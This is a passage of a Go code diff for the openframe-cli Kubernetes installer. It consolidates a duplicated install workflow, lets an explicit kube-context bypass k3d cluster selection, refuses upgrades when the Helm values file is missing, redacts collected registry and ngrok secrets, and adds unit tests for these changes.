workflow.ExecuteWithContextDeferred(ctx, req) + return cs.InstallWithContext(ctx, req) } // InstallationWorkflow orchestrates the installation process @@ -175,10 +173,13 @@ func (w *InstallationWorkflow) ExecuteWithContext(parentCtx context.Context, req } pterm.Info.Println("Using existing configuration (dry-run mode)") } else if req.NonInteractive { - // NON-INTERACTIVE (CI/CD): use the existing openframe-helm-values.yaml as-is. - pterm.Info.Println("Running in non-interactive mode using existing openframe-helm-values.yaml") + // NON-INTERACTIVE (CI/CD). Which values are used (existing file vs + // chart defaults) is announced by loadExistingConfiguration — claiming + // "using existing openframe-helm-values.yaml" here contradicted the + // missing-file warning two lines later (verification finding N1). + pterm.Info.Println("Running in non-interactive mode") var err error - chartConfig, err = w.loadExistingConfiguration() + chartConfig, err = w.loadExistingConfiguration(req.RequireExistingValues) if err != nil { return fmt.Errorf("non-interactive configuration failed: %w", err) } @@ -205,21 +206,59 @@ func (w *InstallationWorkflow) ExecuteWithContext(parentCtx context.Context, req } } - // Step 2: Select cluster - clusterName, err := w.selectCluster(req.Args, req.NonInteractive, req.Verbose) - if err != nil { - return err - } - if clusterName == "" { - // selectCluster prints why (no clusters found, or the interactive - // selection was cancelled) but returns no error; surface a non-zero exit - // so callers and CI don't read a no-op install as success. - return fmt.Errorf("no cluster selected — nothing was installed") + // Step 2: Resolve the install target. An explicit rest.Config from the + // command layer (--context, or the interactive kube-context selector) IS + // the target — running k3d cluster selection on top of it demanded a + // cluster name that --context had already made redundant (verification + // finding N2: `app install -c --non-interactive` was unusable) and + // double-prompted interactive users (kube-context, then k3d cluster). + var clusterName string + if req.KubeConfig == nil { + var err error + clusterName, err = w.selectCluster(req.Args, req.NonInteractive, req.Verbose) + if err != nil { + return err + } + if clusterName == "" { + // selectCluster prints why (no clusters found, or the interactive + // selection was cancelled) but returns no error; surface a non-zero exit + // so callers and CI don't read a no-op install as success. + return fmt.Errorf("no cluster selected — nothing was installed") + } + } else if req.KubeContext != "" { + // ClusterName stays empty: every helm call targets req.KubeContext + // (helmKubeContext gives it precedence) and the ArgoCD wait manager is + // built from the same rest.Config (F4 one-target rule). + pterm.Info.Printf("Install target: kube-context %q\n", req.KubeContext) + } + + // Step 2.5 (deferred mode): no HelmManager yet — the caller had no + // rest.Config upfront (standalone install), so resolve the selected + // cluster's config now, through the injected ClusterAccess interface + // (req 18/19). This used to live in a ~120-line copy of this whole + // workflow (ExecuteWithContextDeferred) that drifted from this one; the + // nil-check replaces the fork (audit B7). + if w.chartService.helmManager == nil { + kubeConfig := req.KubeConfig + if kubeConfig == nil { + resolved, kerr := w.clusterService.GetRestConfig(clusterName) + if kerr != nil { + return fmt.Errorf("failed to get rest.Config for cluster %s: %w", clusterName, kerr) + } + kubeConfig = resolved + } + if ierr := w.chartService.initializeHelmManager(kubeConfig, req.Verbose); ierr != nil { + return fmt.Errorf("failed to initialize HelmManager: %w", ierr) + } } // Step 3: Confirm installation (skipped in non-interactive and dry-run modes) if !req.NonInteractive && !req.DryRun { - if !w.confirmInstallationOnCluster(clusterName) { + target := clusterName + if target == "" { + target = req.KubeContext + } + if !w.confirmInstallationOnCluster(target) { pterm.Info.Println("Installation cancelled.") return fmt.Errorf("installation cancelled by user") } @@ -269,126 +308,10 @@ func (w *InstallationWorkflow) ExecuteWithContext(parentCtx context.Context, req pterm.Warning.Printf("Failed to clean up files after successful installation: %v\n", cleanupErr) } - return nil -} - -// ExecuteWithContextDeferred runs the installation workflow with deferred HelmManager initialization -// This is used when KubeConfig is not available upfront (e.g., standalone chart install) -func (w *InstallationWorkflow) ExecuteWithContextDeferred(parentCtx context.Context, req types.InstallationRequest) error { - // parentCtx is already signal-cancelled (root ExecuteContext); a derived - // cancellable context is enough to stop remaining work on Ctrl-C / SIGTERM. - ctx, cancel := context.WithCancel(parentCtx) - defer cancel() - - // Step 1: Determine configuration mode and run appropriate workflow - var chartConfig *types.ChartConfiguration + // A dry run that ends without an explicit statement is indistinguishable + // from a real run (verification report, minor observation). if req.DryRun { - var err error - chartConfig, err = w.dryRunConfiguration() - if err != nil { - return err - } - // dry-run writes a real values file too, so register it for cleanup. - if chartConfig.TempHelmValuesPath != "" { - if backupErr := w.fileCleanup.RegisterTempFile(chartConfig.TempHelmValuesPath); backupErr != nil { - pterm.Warning.Printf("Failed to register temp file for cleanup: %v\n", backupErr) - } - } - pterm.Info.Println("Using existing configuration (dry-run mode)") - } else if req.NonInteractive { - // NON-INTERACTIVE (CI/CD): use the existing openframe-helm-values.yaml as-is. - pterm.Info.Println("Running in non-interactive mode using existing openframe-helm-values.yaml") - var err error - chartConfig, err = w.loadExistingConfiguration() - if err != nil { - return fmt.Errorf("non-interactive configuration failed: %w", err) - } - // Register the temp values file for cleanup (the dry-run and interactive - // paths do the same); otherwise the OS temp dir accumulates one per run. - if chartConfig.TempHelmValuesPath != "" { - if backupErr := w.fileCleanup.RegisterTempFile(chartConfig.TempHelmValuesPath); backupErr != nil { - pterm.Warning.Printf("Failed to register temp file for cleanup: %v\n", backupErr) - } - } - } else { - var err error - chartConfig, err = w.runConfigurationWizard() - if err != nil { - return fmt.Errorf("configuration wizard failed: %w", err) - } - if chartConfig.TempHelmValuesPath != "" { - if backupErr := w.fileCleanup.RegisterTempFile(chartConfig.TempHelmValuesPath); backupErr != nil { - pterm.Warning.Printf("Failed to register temp file for cleanup: %v\n", backupErr) - } - } - } - - // Step 2: Select cluster - clusterName, err := w.selectCluster(req.Args, req.NonInteractive, req.Verbose) - if err != nil { - return err - } - if clusterName == "" { - // selectCluster prints why (no clusters found, or the interactive - // selection was cancelled) but returns no error; surface a non-zero exit - // so callers and CI don't read a no-op install as success. - return fmt.Errorf("no cluster selected — nothing was installed") - } - - // Step 2.5: Get KubeConfig for the selected cluster and initialize HelmManager. - // Resolved through the injected ClusterAccess interface so this workflow does - // not depend on the concrete cluster service (req 18/19). - kubeConfig, err := w.clusterService.GetRestConfig(clusterName) - if err != nil { - return fmt.Errorf("failed to get rest.Config for cluster %s: %w", clusterName, err) - } - if err := w.chartService.initializeHelmManager(kubeConfig, req.Verbose); err != nil { - return fmt.Errorf("failed to initialize HelmManager: %w", err) - } - - // Step 3: Confirm installation (skipped in non-interactive and dry-run modes) - if !req.NonInteractive && !req.DryRun { - if !w.confirmInstallationOnCluster(clusterName) { - pterm.Info.Println("Installation cancelled.") - return fmt.Errorf("installation cancelled by user") - } - } - - // Step 4: Regenerate certificates (skipped in non-interactive and dry-run modes) - if !req.NonInteractive && !req.DryRun { - // Non-fatal: failures are logged inside the method, continue regardless. - _ = w.regenerateCertificates() - } else if req.DryRun { - pterm.Info.Println("Skipping certificate regeneration (dry-run)") - } else { - pterm.Warning.Println("Skipping certificate regeneration (non-interactive mode)") - } - - // Step 5: Build configuration - config, err := w.buildConfiguration(req, clusterName, chartConfig) - if err != nil { - chartErr := errors.WrapAsChartError("configuration", "build", err).WithCluster(clusterName) - return sharedErrors.HandleGlobalError(chartErr, req.Verbose) - } - - // Step 6: Execute installation with retry support - err = w.performInstallationWithRetry(ctx, config) - - // Step 7: Clean up generated files based on installation result - if err != nil { - if cleanupErr := w.fileCleanup.RestoreFiles(req.Verbose); cleanupErr != nil { - pterm.Warning.Printf("Failed to clean up files after error: %v\n", cleanupErr) - } - return err - } - - if ctx.Err() != nil { - _ = w.fileCleanup.RestoreFiles(false) - return fmt.Errorf("installation cancelled by user") - } - - if cleanupErr := w.fileCleanup.RestoreFilesOnSuccess(req.Verbose); cleanupErr != nil { - pterm.Warning.Printf("Failed to clean up files after successful installation: %v\n", cleanupErr) + pterm.Success.Println("Dry run complete — nothing was changed.") } return nil @@ -455,13 +378,32 @@ func (w *InstallationWorkflow) dryRunConfiguration() (*types.ChartConfiguration, }, nil } -func (w *InstallationWorkflow) loadExistingConfiguration() (*types.ChartConfiguration, error) { +func (w *InstallationWorkflow) loadExistingConfiguration(requireValuesFile bool) (*types.ChartConfiguration, error) { modifier := templates.NewHelmValuesModifier() - // Load existing openframe-helm-values.yaml + if _, err := os.Stat(config.DefaultHelmValuesFile); err != nil { + // Upgrades REQUIRE the values file: proceeding with an empty map makes + // `helm upgrade` replace the release values with chart defaults — + // silently wiping registry credentials and ingress settings when run + // from the wrong directory (audit F3/T1-2). + if requireValuesFile { + return nil, fmt.Errorf( + "%s not found in the current directory — upgrading with no values file would deploy chart DEFAULTS and wipe the existing configuration; run from the directory containing the values file: %w", + config.DefaultHelmValuesFile, err) + } + // Fresh non-interactive install/bootstrap: chart defaults are a valid + // starting point (a clean machine has no values file yet), but say so + // loudly instead of silently pretending a file was used. + pterm.Warning.Printf("%s not found in the current directory — deploying chart defaults\n", config.DefaultHelmValuesFile) + } else { + pterm.Info.Printf("Using existing %s\n", config.DefaultHelmValuesFile) + } + + // Load existing openframe-helm-values.yaml (empty map when absent — allowed + // only on the fresh-install path above) values, err := modifier.LoadOrCreateBaseValues() if err != nil { - return nil, fmt.Errorf("failed to load openframe-helm-values.yaml: %w", err) + return nil, fmt.Errorf("failed to load %s: %w", config.DefaultHelmValuesFile, err) } // Create temporary file from the existing values (same as interactive mode) @@ -494,7 +436,7 @@ func (w *InstallationWorkflow) buildConfiguration(req types.InstallationRequest, // (defaults to the public OSS repository) with no embedded credentials. githubRepo := req.GitHubRepo - // When the operator explicitly pins a ref (--ref/--github-branch), write it into + // When the operator explicitly pins a ref (--ref), write it into // the temp helm-values' repository.branch BEFORE the builder reads it back. This // makes the explicit ref win over the values-file branch and keeps BOTH the // app-of-apps clone and the child Applications' targetRevision on that ref @@ -516,18 +458,32 @@ func (w *InstallationWorkflow) buildConfiguration(req types.InstallationRequest, pterm.Info.Printf("Pinning platform to ref %q\n", ref) } - return configBuilder.BuildInstallConfigWithCustomHelmPath( + cfg, err := configBuilder.BuildInstallConfigWithCustomHelmPath( req.Force, req.DryRun, req.Verbose, req.NonInteractive, clusterName, githubRepo, req.GitHubBranch, req.CertDir, chartConfig.TempHelmValuesPath, ) + if err != nil { + return cfg, err + } + // One target per install: an explicit kube-context resolved at the command + // layer overrides the ClusterName-derived context in every helm call. + cfg.KubeContext = req.KubeContext + cfg.SyncStragglersOnStall = req.SyncStragglersOnStall + return cfg, nil } // performInstallation executes the actual installation func (w *InstallationWorkflow) performInstallation(ctx context.Context, config config.ChartInstallConfig) error { - // Create installer directly without factory + // Create installer directly without factory. The ArgoCD wait manager gets + // the SAME rest.Config the HelmManager was built with (falling back to the + // selected cluster's context) — never the kubeconfig's current context, + // which may point at an entirely different cluster (audit F4). pathResolver := w.chartService.configService.GetPathResolver() - argoCDService := NewArgoCD(w.chartService.helmManager, pathResolver, w.chartService.executor) + argoCDService, err := NewArgoCDForTarget(w.chartService.helmManager, pathResolver, w.chartService.executor, w.chartService.kubeConfig, config.ClusterName) + if err != nil { + return fmt.Errorf("failed to create ArgoCD service for the install target: %w", err) + } appOfAppsService := NewAppOfApps(w.chartService.helmManager, w.chartService.gitRepository, pathResolver) installer := &Installer{ @@ -535,7 +491,7 @@ func (w *InstallationWorkflow) performInstallation(ctx context.Context, config c appOfAppsService: appOfAppsService, } - err := installer.InstallChartsWithContext(ctx, config) + err = installer.InstallChartsWithContext(ctx, config) if err != nil { // Check if this is a branch not found error var bnfErr *sharedErrors.BranchNotFoundError diff --git a/internal/chart/services/context_target_test.go b/internal/chart/services/context_target_test.go new file mode 100644 index 00000000..5bd71930 --- /dev/null +++ b/internal/chart/services/context_target_test.go @@ -0,0 +1,89 @@ +package services + +import ( + "context" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" + clusterDomain "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/flamingo-stack/openframe-cli/internal/shared/files" + "k8s.io/client-go/rest" +) + +// recordingLister wraps MockClusterLister and records whether cluster +// selection was consulted at all. +type recordingLister struct { + listCalled bool +} + +func (r *recordingLister) ListClusters() ([]clusterDomain.ClusterInfo, error) { + r.listCalled = true + return []clusterDomain.ClusterInfo{{Name: "some-cluster"}}, nil +} + +func (r *recordingLister) GetRestConfig(name string) (*rest.Config, error) { + return &rest.Config{Host: "https://127.0.0.1:1"}, nil +} + +// TestExecuteWithContext_ExplicitConfigSkipsClusterSelection is the N2 guard +// (0.4.7 verification report): an explicit rest.Config from --context IS the +// install target — the workflow must not run k3d cluster selection on top of +// it, which used to fail non-interactive runs with "requires a cluster name". +// The context is pre-cancelled so the workflow stops right after the target +// resolution step; the assertions are about which path it took to get there. +func TestExecuteWithContext_ExplicitConfigSkipsClusterSelection(t *testing.T) { + t.Chdir(t.TempDir()) // no stray openframe-helm-values.yaml + + lister := &recordingLister{} + svc, err := NewChartServiceDeferred(lister, false, false) + if err != nil { + t.Fatal(err) + } + w := &InstallationWorkflow{chartService: svc, clusterService: lister, fileCleanup: files.NewFileCleanup()} + + ctx, cancel := context.WithCancel(context.Background()) + cancel() // stop at the first ctx check after target resolution + + req := types.InstallationRequest{ + NonInteractive: true, + KubeConfig: &rest.Config{Host: "https://127.0.0.1:1"}, + KubeContext: "k3d-explicit", + } + err = w.ExecuteWithContext(ctx, req) + + if lister.listCalled { + t.Error("cluster selection must be skipped when an explicit rest.Config is provided") + } + if err != nil { + for _, banned := range []string{"cluster name", "no cluster selected"} { + if strings.Contains(err.Error(), banned) { + t.Errorf("explicit --context run failed on cluster selection: %v", err) + } + } + } +} + +// TestExecuteWithContext_NoConfigStillSelectsCluster is the control case: the +// old contract stands when no explicit target is given — non-interactive +// without a cluster name fails fast on selection. +func TestExecuteWithContext_NoConfigStillSelectsCluster(t *testing.T) { + t.Chdir(t.TempDir()) + + lister := &recordingLister{} + svc, err := NewChartServiceDeferred(lister, false, false) + if err != nil { + t.Fatal(err) + } + w := &InstallationWorkflow{chartService: svc, clusterService: lister, fileCleanup: files.NewFileCleanup()} + + req := types.InstallationRequest{NonInteractive: true} // no name, no KubeConfig + err = w.ExecuteWithContext(context.Background(), req) + + if !lister.listCalled { + t.Error("without an explicit rest.Config, cluster selection must run") + } + if err == nil || !strings.Contains(err.Error(), "cluster name") { + t.Errorf("non-interactive without a name must fail fast on selection, got: %v", err) + } +} diff --git a/internal/chart/services/installer.go b/internal/chart/services/installer.go index 586db6ab..24db0301 100644 --- a/internal/chart/services/installer.go +++ b/internal/chart/services/installer.go @@ -16,11 +16,6 @@ type Installer struct { appOfAppsService types.AppOfAppsService } -// InstallCharts handles the complete chart installation process -func (i *Installer) InstallCharts(config config.ChartInstallConfig) error { - return i.InstallChartsWithContext(context.Background(), config) -} - // InstallChartsWithContext handles the complete chart installation process with context support func (i *Installer) InstallChartsWithContext(ctx context.Context, config config.ChartInstallConfig) error { // Install ArgoCD first diff --git a/internal/chart/services/installer_test.go b/internal/chart/services/installer_test.go index 75b8e7ed..a5af706b 100644 --- a/internal/chart/services/installer_test.go +++ b/internal/chart/services/installer_test.go @@ -175,7 +175,7 @@ func TestInstaller_InstallCharts(t *testing.T) { } // Execute - err := installer.InstallCharts(tt.config) + err := installer.InstallChartsWithContext(context.Background(), tt.config) // Assert if tt.expectedError { @@ -216,7 +216,7 @@ func TestInstaller_InstallCharts_RecoverableError(t *testing.T) { appOfAppsService: mockAppOfApps, } - err := installer.InstallCharts(config) + err := installer.InstallChartsWithContext(context.Background(), config) assert.Error(t, err) // Check that error is NOT recoverable (WaitForApplications failures should not trigger reinstallation) @@ -246,7 +246,7 @@ func TestInstaller_InstallCharts_NoWaitWithoutAppOfApps(t *testing.T) { appOfAppsService: mockAppOfApps, } - err := installer.InstallCharts(config) + err := installer.InstallChartsWithContext(context.Background(), config) assert.NoError(t, err) // Verify Install was called but WaitForApplications was not @@ -341,7 +341,7 @@ func TestInstaller_InstallCharts_ErrorTypes(t *testing.T) { appOfAppsService: mockAppOfApps, } - err := installer.InstallCharts(tt.config) + err := installer.InstallChartsWithContext(context.Background(), tt.config) assert.Error(t, err) tt.checkError(t, err) diff --git a/internal/chart/services/noninteractive_config_test.go b/internal/chart/services/noninteractive_config_test.go new file mode 100644 index 00000000..f14145f9 --- /dev/null +++ b/internal/chart/services/noninteractive_config_test.go @@ -0,0 +1,110 @@ +package services + +import ( + "bytes" + "os" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" + "github.com/pterm/pterm" +) + +// TestLoadExistingConfiguration_MissingFileIsHardErrorForUpgrade is the +// F3/T1-2 guard: an upgrade must REFUSE to run without +// openframe-helm-values.yaml. The old fallback to an empty values map made +// `helm upgrade` replace the release values with chart defaults — silently +// wiping registry credentials and ingress settings when the command ran from +// the wrong directory. +func TestLoadExistingConfiguration_MissingFileIsHardErrorForUpgrade(t *testing.T) { + t.Chdir(t.TempDir()) // empty cwd: no openframe-helm-values.yaml + + w := &InstallationWorkflow{} + _, err := w.loadExistingConfiguration(true) + if err == nil { + t.Fatal("missing values file must be a hard error when existing values are required (upgrade)") + } + if !strings.Contains(err.Error(), config.DefaultHelmValuesFile) { + t.Errorf("error %q should name the missing file", err) + } +} + +// TestLoadExistingConfiguration_MissingFileAllowedForFreshInstall: fresh +// non-interactive install/bootstrap on a clean machine has no values file yet — +// chart defaults are a valid starting point (the contract command +// `bootstrap oss-tenant --non-interactive` must keep working), just announced +// with a warning instead of silently. +func TestLoadExistingConfiguration_MissingFileAllowedForFreshInstall(t *testing.T) { + t.Chdir(t.TempDir()) + + var infoBuf, warnBuf bytes.Buffer + oldInfo, oldWarn := pterm.Info, pterm.Warning + pterm.Info = *pterm.Info.WithWriter(&infoBuf) + pterm.Warning = *pterm.Warning.WithWriter(&warnBuf) + t.Cleanup(func() { pterm.Info, pterm.Warning = oldInfo, oldWarn }) + + w := &InstallationWorkflow{} + cfg, err := w.loadExistingConfiguration(false) + if err != nil { + t.Fatalf("fresh install without a values file must proceed with defaults: %v", err) + } + t.Cleanup(func() { _ = os.Remove(cfg.TempHelmValuesPath) }) + if len(cfg.ExistingValues) != 0 { + t.Errorf("expected empty values (chart defaults), got %#v", cfg.ExistingValues) + } + + // N1 messaging guard: the missing file is announced as chart defaults, and + // nothing may claim an existing file was used. + if !strings.Contains(warnBuf.String(), "deploying chart defaults") { + t.Errorf("missing values file must be announced loudly, got: %q", warnBuf.String()) + } + if strings.Contains(infoBuf.String(), "Using existing") { + t.Errorf("must not claim an existing values file was used, got: %q", infoBuf.String()) + } +} + +// TestLoadExistingConfiguration_ExistingFileAnnounced: when the file IS there, +// say so (the counterpart of the N1 guard above). +func TestLoadExistingConfiguration_ExistingFileAnnounced(t *testing.T) { + t.Chdir(t.TempDir()) + if err := os.WriteFile(config.DefaultHelmValuesFile, []byte("repository:\n branch: main\n"), 0o600); err != nil { + t.Fatal(err) + } + + var infoBuf bytes.Buffer + oldInfo := pterm.Info + pterm.Info = *pterm.Info.WithWriter(&infoBuf) + t.Cleanup(func() { pterm.Info = oldInfo }) + + w := &InstallationWorkflow{} + cfg, err := w.loadExistingConfiguration(false) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Remove(cfg.TempHelmValuesPath) }) + + if !strings.Contains(infoBuf.String(), "Using existing "+config.DefaultHelmValuesFile) { + t.Errorf("existing values file must be announced, got: %q", infoBuf.String()) + } +} + +// TestLoadExistingConfiguration_ExistingFileLoads: the happy path keeps working +// and the loaded values reach the configuration. +func TestLoadExistingConfiguration_ExistingFileLoads(t *testing.T) { + t.Chdir(t.TempDir()) + if err := os.WriteFile(config.DefaultHelmValuesFile, []byte("repository:\n branch: develop\n"), 0o600); err != nil { + t.Fatal(err) + } + + w := &InstallationWorkflow{} + cfg, err := w.loadExistingConfiguration(true) + if err != nil { + t.Fatalf("loadExistingConfiguration: %v", err) + } + t.Cleanup(func() { _ = os.Remove(cfg.TempHelmValuesPath) }) + + repo, _ := cfg.ExistingValues["repository"].(map[string]interface{}) + if repo == nil || repo["branch"] != "develop" { + t.Errorf("loaded values must carry the file content, got %#v", cfg.ExistingValues) + } +} diff --git a/internal/chart/services/regression_0_4_6_test.go b/internal/chart/services/regression_0_4_6_test.go index a21f0cd1..e77bb956 100644 --- a/internal/chart/services/regression_0_4_6_test.go +++ b/internal/chart/services/regression_0_4_6_test.go @@ -62,8 +62,8 @@ func TestClusterSelector_NonInteractive_WithName_OK(t *testing.T) { assert.Equal(t, "cluster-b", name) } -// Finding 1 (0.4.6 regression guard): an explicitly pinned ref -// (--github-branch/--ref) must be written into the flattened top-level +// Finding 1 (0.4.6 regression guard): an explicitly pinned ref (--ref) must +// be written into the flattened top-level // repository.branch so BOTH the app-of-apps clone and the child Applications' // targetRevision track it — rather than silently staying on the values-file // branch (0.4.6 left every Application on "main" while reporting success). diff --git a/internal/chart/ui/configuration/docker.go b/internal/chart/ui/configuration/docker.go index 2bb27873..58367036 100644 --- a/internal/chart/ui/configuration/docker.go +++ b/internal/chart/ui/configuration/docker.go @@ -6,6 +6,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/ui/templates" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" "github.com/pterm/pterm" ) @@ -75,6 +76,11 @@ func (d *DockerConfigurator) promptForDockerSettings(current *types.DockerRegist if err != nil { return nil, fmt.Errorf("docker password input failed: %w", err) } + // Collection point: never let the value reach verbose logs / error output. + // Register the TRIMMED value — that is what the config stores and what + // flows downstream; whitespace-padded paste input would otherwise never + // match the redactor's exact replacement (ingress.go does the same). + redact.RegisterSecret(strings.TrimSpace(password)) email, err := pterm.DefaultInteractiveTextInput. WithDefaultValue(current.Email). diff --git a/internal/chart/ui/configuration/helpers.go b/internal/chart/ui/configuration/helpers.go index 988a3fac..526bd0f5 100644 --- a/internal/chart/ui/configuration/helpers.go +++ b/internal/chart/ui/configuration/helpers.go @@ -5,7 +5,6 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" - "github.com/pterm/pterm" ) // loadBaseValues loads base values from current directory or creates default @@ -42,35 +41,3 @@ func (w *ConfigurationWizard) createTemporaryValuesFile(config *types.ChartConfi config.TempHelmValuesPath = tempFilePath return nil } - -// ShowConfigurationSummary displays the modified configuration sections -func (w *ConfigurationWizard) ShowConfigurationSummary(config *types.ChartConfiguration) { - if len(config.ModifiedSections) == 0 { - return // No changes made - } - - pterm.Info.Println("Configuration Summary:") - fmt.Println() - - for _, section := range config.ModifiedSections { - switch section { - case "branch": - if config.Branch != nil { - pterm.Success.Printf("✓ Branch updated: %s\n", *config.Branch) - } - case "docker": - if config.DockerRegistry != nil { - pterm.Success.Printf("✓ Docker registry updated: %s\n", config.DockerRegistry.Username) - } - case "ingress": - if config.IngressConfig != nil { - pterm.Success.Printf("✓ Ingress type updated: %s\n", config.IngressConfig.Type) - if config.IngressConfig.Type == types.IngressTypeNgrok && config.IngressConfig.NgrokConfig != nil { - pterm.Success.Printf(" - Ngrok domain: %s\n", config.IngressConfig.NgrokConfig.Domain) - } - } - } - } - - fmt.Println() -} diff --git a/internal/chart/ui/configuration/helpers_test.go b/internal/chart/ui/configuration/helpers_test.go deleted file mode 100644 index 6887097a..00000000 --- a/internal/chart/ui/configuration/helpers_test.go +++ /dev/null @@ -1,73 +0,0 @@ -package configuration - -import ( - "testing" - - "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" - "github.com/stretchr/testify/assert" -) - -func TestConfigurationWizard_ShowConfigurationSummary_NoChanges(t *testing.T) { - wizard := NewConfigurationWizard() - - // Create configuration with no modified sections - config := &types.ChartConfiguration{ - ModifiedSections: []string{}, - ExistingValues: map[string]interface{}{}, - } - - // Should not panic when called - assert.NotPanics(t, func() { - wizard.ShowConfigurationSummary(config) - }) -} - -func TestConfigurationWizard_ShowConfigurationSummary_WithChanges(t *testing.T) { - wizard := NewConfigurationWizard() - - // Create configuration with modified sections - branch := "develop" - config := &types.ChartConfiguration{ - Branch: &branch, - DockerRegistry: &types.DockerRegistryConfig{ - Username: "newuser", - Password: "newpass", - Email: "new@example.com", - }, - IngressConfig: &types.IngressConfig{ - Type: types.IngressTypeLocalhost, - }, - ModifiedSections: []string{"branch", "docker", "ingress"}, - ExistingValues: map[string]interface{}{}, - } - - // Should not panic when called - assert.NotPanics(t, func() { - wizard.ShowConfigurationSummary(config) - }) -} - -func TestConfigurationWizard_ShowConfigurationSummary_WithNgrokConfig(t *testing.T) { - wizard := NewConfigurationWizard() - - // Create configuration with ngrok settings - config := &types.ChartConfiguration{ - IngressConfig: &types.IngressConfig{ - Type: types.IngressTypeNgrok, - NgrokConfig: &types.NgrokConfig{ - Domain: "example.ngrok.io", - APIKey: "api_key_123", - AuthToken: "auth_token_456", - UseAllowedIPs: true, - AllowedIPs: []string{"192.168.1.1", "10.0.0.1"}, - }, - }, - ModifiedSections: []string{"ingress"}, - ExistingValues: map[string]interface{}{}, - } - - // Should not panic when called - assert.NotPanics(t, func() { - wizard.ShowConfigurationSummary(config) - }) -} diff --git a/internal/chart/ui/configuration/ingress.go b/internal/chart/ui/configuration/ingress.go index 1ebe0570..a10bad34 100644 --- a/internal/chart/ui/configuration/ingress.go +++ b/internal/chart/ui/configuration/ingress.go @@ -6,6 +6,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/ui/templates" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" "github.com/pterm/pterm" ) @@ -147,6 +148,8 @@ func (i *IngressConfigurator) collectNgrokCredentials(current *types.NgrokConfig return nil, fmt.Errorf("API key input failed: %w", err) } config.APIKey = strings.TrimSpace(apiKey) + // Collection point: never let the value reach verbose logs / error output. + redact.RegisterSecret(config.APIKey) // Collect auth token authTokenInput := pterm.DefaultInteractiveTextInput.WithMask("*").WithMultiLine(false) @@ -158,6 +161,8 @@ func (i *IngressConfigurator) collectNgrokCredentials(current *types.NgrokConfig return nil, fmt.Errorf("auth token input failed: %w", err) } config.AuthToken = strings.TrimSpace(authtoken) + // Collection point: never let the value reach verbose logs / error output. + redact.RegisterSecret(config.AuthToken) return config, nil } diff --git a/internal/chart/ui/display.go b/internal/chart/ui/display.go index 4b84637b..4c3e7ad7 100644 --- a/internal/chart/ui/display.go +++ b/internal/chart/ui/display.go @@ -1,13 +1,5 @@ package ui -import ( - "fmt" - "io" - - "github.com/flamingo-stack/openframe-cli/internal/chart/models" - "github.com/pterm/pterm" -) - // DisplayService handles chart-related UI display operations type DisplayService struct{} @@ -15,60 +7,3 @@ type DisplayService struct{} func NewDisplayService() *DisplayService { return &DisplayService{} } - -// ShowInstallProgress displays installation progress -func (d *DisplayService) ShowInstallProgress(chartType models.ChartType, message string) { - // Use specific icons for different chart types - var icon string - switch chartType { - case models.ChartTypeArgoCD: - icon = "🚀" // ArgoCD rocket icon for GitOps deployment - case models.ChartTypeAppOfApps: - icon = "📦" // App-of-apps package icon - default: - icon = "📦" - } - pterm.Info.Printf("%s %s\n", icon, message) -} - -// ShowInstallSuccess displays successful installation -func (d *DisplayService) ShowInstallSuccess(chartType models.ChartType, info models.ChartInfo) { - // Simple success message without box - will be called but not used for display - // The actual success message is shown in the service layer -} - -// ShowInstallError displays installation error -func (d *DisplayService) ShowInstallError(chartType models.ChartType, err error) { - pterm.Error.Printf("Failed to install %s: %v\n", string(chartType), err) -} - -// ShowSkippedInstallation displays when installation is skipped -func (d *DisplayService) ShowSkippedInstallation(component, reason string) { - pterm.Success.Printf("✅ %s installation skipped - %s\n", component, reason) -} - -// ShowPreInstallCheck displays pre-installation checks -func (d *DisplayService) ShowPreInstallCheck(message string) { - pterm.Info.Printf("🔍 %s\n", message) -} - -// ShowDryRunResults displays dry-run results -func (d *DisplayService) ShowDryRunResults(w io.Writer, results []string) { - fmt.Fprintln(w) - pterm.Info.Println("📋 Dry Run Results:") - for _, result := range results { - fmt.Fprintf(w, " %s\n", result) - } -} - -// getChartDisplayName returns a user-friendly display name for chart types -func (d *DisplayService) getChartDisplayName(chartType models.ChartType) string { - switch chartType { - case models.ChartTypeArgoCD: - return "ArgoCD" - case models.ChartTypeAppOfApps: - return "App-of-Apps" - default: - return string(chartType) - } -} diff --git a/internal/chart/ui/display_test.go b/internal/chart/ui/display_test.go index bb2b2362..88aa9c6c 100644 --- a/internal/chart/ui/display_test.go +++ b/internal/chart/ui/display_test.go @@ -1,7 +1,6 @@ package ui import ( - "bytes" "testing" "github.com/flamingo-stack/openframe-cli/internal/chart/models" @@ -13,147 +12,7 @@ func TestNewDisplayService(t *testing.T) { assert.NotNil(t, service) } -func TestDisplayService_ShowInstallProgress(t *testing.T) { - // This test validates the method exists and can be called - // Since it uses pterm for output, we can't easily capture the output - service := NewDisplayService() - - // Should not panic - assert.NotPanics(t, func() { - service.ShowInstallProgress(models.ChartTypeArgoCD, "Installing ArgoCD...") - }) - -} - -func TestDisplayService_ShowInstallSuccess(t *testing.T) { - service := NewDisplayService() - - chartInfo := models.ChartInfo{ - Name: "test-chart", - Namespace: "test-namespace", - Status: "deployed", - Version: "1.0.0", - AppVersion: "1.0.0", - } - - // Should not panic - assert.NotPanics(t, func() { - service.ShowInstallSuccess(models.ChartTypeArgoCD, chartInfo) - }) - -} - -func TestDisplayService_ShowInstallError(t *testing.T) { - service := NewDisplayService() - - testErr := assert.AnError - - // Should not panic - assert.NotPanics(t, func() { - service.ShowInstallError(models.ChartTypeArgoCD, testErr) - }) - -} - -func TestDisplayService_ShowPreInstallCheck(t *testing.T) { - service := NewDisplayService() - - // Should not panic - assert.NotPanics(t, func() { - service.ShowPreInstallCheck("Checking Helm installation...") - }) - - assert.NotPanics(t, func() { - service.ShowPreInstallCheck("Validating cluster connectivity...") 